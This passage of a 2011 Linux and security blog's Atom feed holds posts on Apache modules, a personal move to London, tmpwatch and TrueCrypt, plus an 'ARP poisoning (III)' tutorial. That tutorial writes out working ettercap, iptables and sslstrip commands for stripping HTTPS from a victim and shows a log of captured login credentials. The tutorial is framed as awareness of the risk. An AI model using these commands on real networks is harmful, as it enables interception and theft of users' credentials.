/&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule dav_module modules/mod_dav.so&lt;br /&gt;# LoadModule dav_fs_module modules/mod_dav_fs.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_env&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Controls the internal environment variables which are sent out to CGI scripts and SSI pages.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule env_module modules/mod_env.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-1789665996033914253?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/1789665996033914253/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/12/apache-performance-tuning-dynamic.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1789665996033914253'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1789665996033914253'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/12/apache-performance-tuning-dynamic.html' title='Apache performance tuning: dynamic modules (I)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-843222945367138716</id><published>2011-12-05T14:00:00.001+01:00</published><updated>2011-12-05T14:00:55.630+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Personal'/><title type='text'>I head off to London</title><content type='html'>&lt;div class="ii gt" id=":3u"&gt;&lt;div id=":52"&gt;Last year, when I was in London, I already knew that it was not going to be the last time, and indeed, I was not mistaken. Today, I have handed in my resignation and I have given up my current job, where I will be bound until the end of this month. My flight to the United Kingdom, the next stage of my life, will take off on the 9th of January.&lt;br /&gt;&lt;br /&gt;This idea was going around in my head from a long time. And the question was: why not? Why not work in another country, run away from the daily monotony, learn from other cultures, break the political correctness and in short, squeeze the life.&lt;br /&gt;&lt;br /&gt;Here in Spain we have a big problem and its name is PSOE (political  party). Whenever they have governed, they have finished messing up the  country, and nowadays, in contradistinction to 1996 (the previous time  that they ruined us), we do not dispose of the European cohesion funds  and the crown jewels (the most important public companies) to be sold,  in order to be able to get ahead. I could write another book about the misdeeds of these political figures...&lt;br /&gt;&lt;br /&gt;Spain has to face up to a hard situation throughout next years, and  this is other of the reasons because I think that now is a good moment  to go abroad. Unlike fifteen years ago, The Bank of Spain cannot devalue the currency at present and we will have to resort to other financial instruments so as to get over this critical condition, such as reducing salaries, increasing taxes, improving the productivity, optimizing public resources, etc., and in this way, to be more competitive and efficient.&lt;br /&gt;&lt;br /&gt;Regarding the IT world, I have always said that Spain is not a good place for engineers, due to this is a country of services. We do not have IT industry and in the most of the cases, you can only aspire to cover the needs or requirements of a client. And why do I say client and not company? Because over time, the business model has totally changed and at the present time, it is no longer possible (or at least very complicated) to belong to a final company.&lt;br /&gt;&lt;br /&gt;Between the client and you, there will always be an intermediate company that we call "cárnica" or "charcutera" (butcher shop in English). Thereby, in general, this intermediary takes care of obtaining a final client for you, offering you like a bit of meat, and paying your salary. Practically without lifting a finger and taking advantage of your work, it will grab a part of the money that you make every month.&lt;br /&gt;&lt;br /&gt;What happens with this system? You will never be or feel part of a company; today you can be working in a certain place and tomorrow, in another one, and on top of all that, there is no way to develop a career inside an enterprise.&lt;br /&gt;&lt;br /&gt;I recently read the article titled "&lt;a href="http://www.elpais.com/articulo/andalucia/ilusiones/perdidas/elpepiespand/20101002elpand_4/Tes?print=1"&gt;Las ilusiones perdidas&lt;/a&gt;" (the lost illusions in English), which reflects perfectly the situation of thousand of Spanish who have had to leave our country because of multiple reasons, but mainly due to a lack of future. This is a great issue, because during the next years, we are going to lose the best generation of young people better prepared in history. This paradox is also known as brain drain.&lt;br /&gt;&lt;br /&gt;As I mentioned before, my case is totally different. I am not in need to look for a job far away from home; I have a permanent job here and I have dropped it off &lt;span class="short_text" id="result_box" lang="en"&gt;&lt;span class="hps"&gt;voluntarily&lt;/span&gt;&lt;/span&gt;. Furthermore, I am aware of that I might have switched to another work at any moment. Simply, I am just in the mood for taking this step.&lt;br /&gt;&lt;br /&gt;I am a person who likes to work out everything in detail, and in this manner, I have mapped out a complete roadmap for my first weeks in London. I have to read up some points before ending up my plan, but mostly, I am going to boost my English&amp;nbsp;at the beginning,&amp;nbsp;by enrolling in some language school, at least during the first three months. I know that I have a good English level, but I also realize that it is turned into lower-intermediate when you arrive there.&lt;br /&gt;&lt;br /&gt;After that initial period of time, I will search for a job. I consider that it is better to build the house starting with the floor rather than the roof. For that reason and as I pointed out before, first of all I will be enhancing my English and in turn, I will have free time to get used to those new lands, aside from to accomplish other typical tasks such as opening a bank account, getting the NIN (National Insurance Number) and a GP (&lt;span class="st"&gt;General Practitioner&lt;/span&gt;), &lt;span class="short_text" id="result_box" lang="en"&gt;&lt;span class="hps"&gt;registering&lt;/span&gt; &lt;span class="hps"&gt;at the embassy and so on.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Perhaps, this is the most important decision that I have had to take on throughout my life, and I hope not to slip up.&amp;nbsp;&lt;span class="short_text" id="result_box" lang="en"&gt;&lt;span class="hps"&gt;I am aware of that it will not be straightforward,&lt;/span&gt;&lt;/span&gt;&lt;span class="short_text" id="result_box" lang="en"&gt;&lt;span class="hps"&gt; but at any rate, I am really looking forward to it!&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-843222945367138716?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/843222945367138716/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/12/i-head-off-to-london.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/843222945367138716'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/843222945367138716'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/12/i-head-off-to-london.html' title='I head off to London'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-2548211587320985326</id><published>2011-11-29T11:56:00.001+01:00</published><updated>2011-11-29T18:18:41.856+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux tools'/><title type='text'>The tmp directory and tmpwatch daemon</title><content type='html'>The tmp directory is normally used on Linux systems so that users or applications can store temporary information within it.&lt;br /&gt;&lt;br /&gt;On Debian or Ubuntu distributions, the system cleans out all user data with each startup. On RHEL or CentOS 6, no operation is performed on that directory. But in version 5 of RHEL or CentOS, there was a great tool installed on the system by default, and utilized to &lt;span class="" id="result_box" lang="en"&gt;&lt;span class="hps"&gt;&lt;/span&gt;&lt;span class="hps"&gt;periodically check the&lt;/span&gt; &lt;span class="hps"&gt;contents of the&lt;/span&gt; &lt;span class="hps"&gt;tmp&lt;/span&gt; &lt;span class="hps"&gt;directory&lt;/span&gt;&lt;/span&gt;: tmpwatch.&lt;br /&gt;&lt;br /&gt;Tmpwatch is a cron job which takes care of removing files which have not been accessed for a period of time, or any file or folder that you configure. This operation is carried out based on guidelines which will be exposed later. The equivalent program on Debian/Ubuntu is tmpreaper, although you can compile tmpwatch perfectly for the aforementioned operating systems.&lt;br /&gt;&lt;br /&gt;For the development of the present article, I am going to use CentOS 6.0 (32 bits).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# yum install tmpwatch&lt;br /&gt;&lt;br /&gt;[root@centos ~]# cat /etc/cron.daily/tmpwatch &lt;br /&gt;#! /bin/sh&lt;br /&gt;flags=-umc&lt;br /&gt;/usr/sbin/tmpwatch "$flags" -x /tmp/.X11-unix -x /tmp/.XIM-unix \&lt;br /&gt;        -x /tmp/.font-unix -x /tmp/.ICE-unix -x /tmp/.Test-unix \&lt;br /&gt;        -X '/tmp/hsperfdata_*' 10d /tmp&lt;br /&gt;/usr/sbin/tmpwatch "$flags" 30d /var/tmp&lt;br /&gt;for d in /var/{cache/man,catman}/{cat?,X11R6/cat?,local/cat?}; do&lt;br /&gt;    if [ -d "$d" ]; then&lt;br /&gt;        /usr/sbin/tmpwatch "$flags" -f 30d "$d"&lt;br /&gt;    fi&lt;br /&gt;done&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;By taking a look at the script launched daily by the system, we may observe that tmpwatch acts on a series of directories (&lt;i&gt;/tmp&lt;/i&gt;, &lt;i&gt;/var/tmp&lt;/i&gt;, &lt;i&gt;/var/local&lt;/i&gt;, etc.) by clearing out their contents. This task is accomplished based on certain events which have taken place throughout the last 10 or 30 days.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;-u (--atime): the decision to delete a file depends on its atime (access time).&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;-m (--mtime): the decision to delete a file depends on its mtime (modification time).&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;-c (--ctime): the decision to delete a file depends on its ctime (inode change time).&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;-f (--force): removes files even whether root does not have write access.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;By means of the '-x' option, we can leave out a specific file or directory that matches the pattern.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-2548211587320985326?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/2548211587320985326/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/11/tmp-directory-and-tmpwatch-daemon.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2548211587320985326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2548211587320985326'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/11/tmp-directory-and-tmpwatch-daemon.html' title='The tmp directory and tmpwatch daemon'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-2112589655559351436</id><published>2011-11-22T18:10:00.001+01:00</published><updated>2011-11-23T15:13:33.760+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Backup'/><title type='text'>TrueCrypt under the command line</title><content type='html'>I have an external hard drive (LG XD3, 500 GB) broken up into a couple of partitions, 450 and 50 GB respectively. The first partition is public and formatted with NTFS. The second one is formatted with ext4 and encrypted by means of TrueCrypt, and it is where I store my private data.&lt;br /&gt;&lt;br /&gt;So far, I used &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/02/encriptar-disco-usb-con-truecrypt.html"&gt;TrueCrypt into graphical mode&lt;/a&gt;, but over time, I realize that it is more comfortable to handle the command line version (aside from I tend to rule out any kind of graphical tool whenever possible).&lt;br /&gt;&lt;br /&gt;TrueCrypt is a powerful program which may cypher partitions, logical volumes, whole hard drives or even installed operating systems. The encryption is transparently and automatically carried out, and on top of all that, on real time (that is to say, on the fly). Another plus is the option to hide volumes and its performance, which is excellent.&lt;br /&gt;&lt;br /&gt;One practical detail of TrueCrypt is that is not necessary to install it on the system. To that end, you have to download the &lt;i&gt;Console-only-32-bit&lt;/i&gt; file (in my case, the 32-bit version), decompress the included binary and run it. Then, you will have to choose the second option:&amp;nbsp;&lt;i&gt;Extract package file truecrypt_7.1_console_i386.tar.gz and place it to /tmp&lt;/i&gt;. Within this tgz file is located the executable file of TrueCrypt.&lt;br /&gt;&lt;br /&gt;I get used to drop off this binary file into the public partition of the external hard drive. Thereby, when I have to use it, I just have to get it from there.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-ubuntu:/tmp$ cp /media/public/truecrypt/truecrypt . ; chmod +x truecrypt&lt;br /&gt;&lt;br /&gt;javi@javi-ubuntu:/tmp$ ./truecrypt --version&lt;br /&gt;TrueCrypt 7.1&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;First of all, I had to encrypt the partition. This is a long process and depends on the size of your partition. Below you may appreciate that the average speed was 26 MB/s.&lt;br /&gt;&lt;br /&gt;In the next output, you can see that in order to create the cyphered partition (sdb2), I followed the text wizard provided by TrueCrypt. Other choice would have been to pass the parameters through the command line (--encryption, --size, etc.).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-ubuntu:/tmp$ sudo ./truecrypt -c&lt;br /&gt;Volume type:&lt;br /&gt; 1) Normal&lt;br /&gt; 2) Hidden&lt;br /&gt;Select [1]: 1&lt;br /&gt;&lt;br /&gt;Enter volume path: /dev/sdb2&lt;br /&gt;&lt;br /&gt;Encryption algorithm:&lt;br /&gt; 1) AES&lt;br /&gt; 2) Serpent&lt;br /&gt; 3) Twofish&lt;br /&gt; 4) AES-Twofish&lt;br /&gt; 5) AES-Twofish-Serpent&lt;br /&gt; 6) Serpent-AES&lt;br /&gt; 7) Serpent-Twofish-AES&lt;br /&gt; 8) Twofish-Serpent&lt;br /&gt;Select [1]: 1&lt;br /&gt;&lt;br /&gt;Hash algorithm:&lt;br /&gt; 1) RIPEMD-160&lt;br /&gt; 2) SHA-512&lt;br /&gt; 3) Whirlpool&lt;br /&gt;Select [1]: 1&lt;br /&gt;&lt;br /&gt;Filesystem:&lt;br /&gt; 1) None&lt;br /&gt; 2) FAT&lt;br /&gt; 3) Linux Ext2&lt;br /&gt; 4) Linux Ext3&lt;br /&gt; 5) Linux Ext4&lt;br /&gt;Select [2]: 5&lt;br /&gt;&lt;br /&gt;Enter password: &lt;br /&gt;Re-enter password: &lt;br /&gt;&lt;br /&gt;Enter keyfile path [none]: &lt;br /&gt;&lt;br /&gt;Please type at least 320 randomly chosen characters and then press Enter:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Done: 100.000%  Speed:   26 MB/s  Left: 0 s                &lt;br /&gt;&lt;br /&gt;The TrueCrypt volume has been successfully created.&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Once you have created the encrypted partition (remember that my example is based on a partition, but you can also cypher a file or logical volume), the procedure is pretty easy. When you want to work with that safe area, you only have to mount it by means of TrueCrypt.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-ubuntu:/tmp$ mkdir /mnt/truecrypt&lt;br /&gt;&lt;br /&gt;javi@javi-ubuntu:/tmp$ sudo ./truecrypt /dev/sdb2 /mnt/truecrypt&lt;br /&gt;Enter password for /dev/sdb2: &lt;br /&gt;Enter keyfile [none]: &lt;br /&gt;Protect hidden volume (if any)? (y=Yes/n=No) [No]:&lt;br /&gt;&lt;br /&gt;javi@javi-ubuntu:/tmp$ ./truecrypt --list&lt;br /&gt;1: /dev/sdb2 /dev/mapper/truecrypt1 /mnt/truecrypt&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;By running the following command, you may collect more details about a mounted volume.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-ubuntu:/tmp$ ./truecrypt --volume-properties /dev/sdb2&lt;br /&gt;Slot: 1&lt;br /&gt;Volume: /dev/sdb2&lt;br /&gt;Virtual Device: /dev/mapper/truecrypt1&lt;br /&gt;Mount Directory: /mnt/truecrypt&lt;br /&gt;Size: 50.0 GB&lt;br /&gt;Type: Normal&lt;br /&gt;Read-Only: No&lt;br /&gt;Hidden Volume Protected: No&lt;br /&gt;Encryption Algorithm: AES&lt;br /&gt;Primary Key Size: 256 bits&lt;br /&gt;Secondary Key Size (XTS Mode): 256 bits&lt;br /&gt;Block Size: 128 bits&lt;br /&gt;Mode of Operation: XTS&lt;br /&gt;PKCS-5 PRF: HMAC-RIPEMD-160&lt;br /&gt;Volume Format Version: 2&lt;br /&gt;Embedded Backup Header: Yes&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;You can dismount it by executing the next order.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-ubuntu:/tmp$ sudo ./truecrypt --dismount /mnt/truecrypt&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;TrueCrypt has got many more options through the command line. I invite you to take a look at them by checking its help.&lt;br /&gt;&lt;br /&gt;And finally, I would like to conclude this article by writing down the order (based on &lt;a href="http://redes-privadas-virtuales.blogspot.com/2009/07/copias-de-seguridad-con-rsync.html"&gt;rsync&lt;/a&gt;) that I usually run to back up my data into the private partiton.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-ubuntu:~$ rsync -altgvb --delete /data /mnt/truecrypt/&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-2112589655559351436?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/2112589655559351436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/11/truecrypt-under-command-line.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2112589655559351436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2112589655559351436'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/11/truecrypt-under-command-line.html' title='TrueCrypt under the command line'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-8312740548497106526</id><published>2011-11-15T18:30:00.001+01:00</published><updated>2011-11-15T18:30:40.116+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Networking'/><title type='text'>ARP poisoning (III)</title><content type='html'>During the first article about &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/10/arp-poisoning-i.html"&gt;ARP poisoning (I)&lt;/a&gt;, we learnt the danger of connecting to a service by using a non-secure protocol, such as HTTP, FTP, SMTP and so on. The username and password are passed down in clear, and anyone could sniff them.&lt;br /&gt;&lt;br /&gt;Ok, that's right, so we have to use safe protocols (HTTPS, SSH, FTPS, etc.). But what occurs whether the digital certificate utilized to authenticate and encrypt the communication is changed on the fly? That is just what we studied in the second article about &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/11/arp-poisoning-ii.html"&gt;ARP poisoning (II)&lt;/a&gt;. The bottom line was that we always have to pay attention when we load a webpage and, we must only accept a trusted certificate.&lt;br /&gt;&lt;br /&gt;What would happen if one day we are a little bit asleep and we do not realize that we are using HTTP rather than HTTPS? What? How is it possible that I am logging in to my bank account and that access is not provided through HTTPS? Well you should believe it.&lt;br /&gt;&lt;br /&gt;Bellow you can look into the normal login in the Oracle website, both Firefox and Google Chrome. You may observe that both accesses are correctly served by means of HTTPS.&lt;br /&gt;&lt;span class="short_text" lang="en"&gt;&lt;span class="hps"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-4_5-FabMqXI/TrWPCsr8sKI/AAAAAAAAAn8/INg-okCnypQ/s1600/ARP+poisoning+%2528I%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="284" src="http://3.bp.blogspot.com/-4_5-FabMqXI/TrWPCsr8sKI/AAAAAAAAAn8/INg-okCnypQ/s640/ARP+poisoning+%2528I%2529.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="short_text" lang="en"&gt;&lt;span class="hps"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Imagine for a moment that an intruder carries out a poisoning attack&amp;nbsp;between you and the router, in order to intercept all data transmitted. Then, he sets up a tool like sslstrip to establish two TCP communications. On the one hand, a first HTTPS connection between him and the Oracle web, by using the real certificate offered by Oracle, and on the other, a second HTTP connection between him and you. This is the target of sslstrip, to take advantage of a Man in the Middle attack (MitM) for tapping SSL/TLS conversations.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@attacker:~# aptitude install sslstrip&lt;br /&gt;&lt;br /&gt;root@attacker:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000&lt;br /&gt;&lt;br /&gt;root@attacker:~# sslstrip -w victim.log&lt;br /&gt;sslstrip 0.9 by Moxie Marlinspike running...&lt;br /&gt;&lt;br /&gt;root@attacker:~# ettercap -TqM arp:remote /192.168.1.1/ /192.168.1.10/&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;After running ettercap and forwarding all HTTP traffic to port 10000 (default port used by sslstrip), if the victim tries to open the aforementioned HTTPS Oracle web page, it will turn up the HTTP version of the site (sslstrip takes care of transforming the preceding content sent out by Oracle and serves it to the victim through a HTTP session).&lt;br /&gt;&lt;br /&gt;The following figures show the manipulated web page created by sslstrip.&lt;br /&gt;&lt;span class="short_text" lang="en"&gt;&lt;span class="hps"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-AwROovwt54A/TrWPnlrF9ZI/AAAAAAAAAoE/T1xACY2EY88/s1600/ARP+poisoning+%2528II%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="286" src="http://4.bp.blogspot.com/-AwROovwt54A/TrWPnlrF9ZI/AAAAAAAAAoE/T1xACY2EY88/s640/ARP+poisoning+%2528II%2529.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="short_text" lang="en"&gt;&lt;span class="hps"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;If the victim attempts to sign in, the credentials will be catched by the attacker.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@attacker:~# cat victim.log&lt;br /&gt;...&lt;br /&gt;2011-11-05 19:51:47,876 POST Data (login.oracle.com):&lt;br /&gt;...&lt;br /&gt;AD91DC75E382F4E9ACDC66D839F095558488AA1754EB29D4513F832B83CB31BF05DB93ACCC18255184E5296825625A56EA6&amp;amp;amp;locale=&amp;amp;amp;ssousername=test%40mytest.com&amp;amp;amp;password=test2&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Ok, perfect, so to get out of this kind of attack, first of all, we must have a good cup of coffe every morning, ;-), and second, to be very careful when we surf the Internet. At any rate, as commented in the first post, the end of this series of articles is to present later a great tool which will help us to shut out this sort of problems.&lt;br /&gt;&lt;br /&gt;Carrying on with sslstrip, it still holds a last trick: to be able to draw a padlock icon in the navigation bar.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@attacker:~# sslstrip -f -w victim.log&lt;br /&gt;sslstrip 0.9 by Moxie Marlinspike running...&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;You can take a look at it in both browsers.&lt;br /&gt;&lt;span class="short_text" lang="en"&gt;&lt;span class="hps"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-7e3k4T5ZfXY/TrWQRu3sluI/AAAAAAAAAoM/uPaJ0GTxtpI/s1600/ARP+poisoning+%2528III%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="286" src="http://1.bp.blogspot.com/-7e3k4T5ZfXY/TrWQRu3sluI/AAAAAAAAAoM/uPaJ0GTxtpI/s640/ARP+poisoning+%2528III%2529.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="short_text" lang="en"&gt;&lt;span class="hps"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;It is very important to underline the risks of this type of attack. You could check it out with hundreds of websites (banks, e-commerce, sports betting, etc.) and in the most of them, you could be spoofed. But I have also seen that there are other webs such as PayPal, where the altered web page does not work out very well.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-8312740548497106526?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/8312740548497106526/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/11/arp-poisoning-iii_15.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8312740548497106526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8312740548497106526'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/11/arp-poisoning-iii_15.html' title='ARP poisoning (III)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 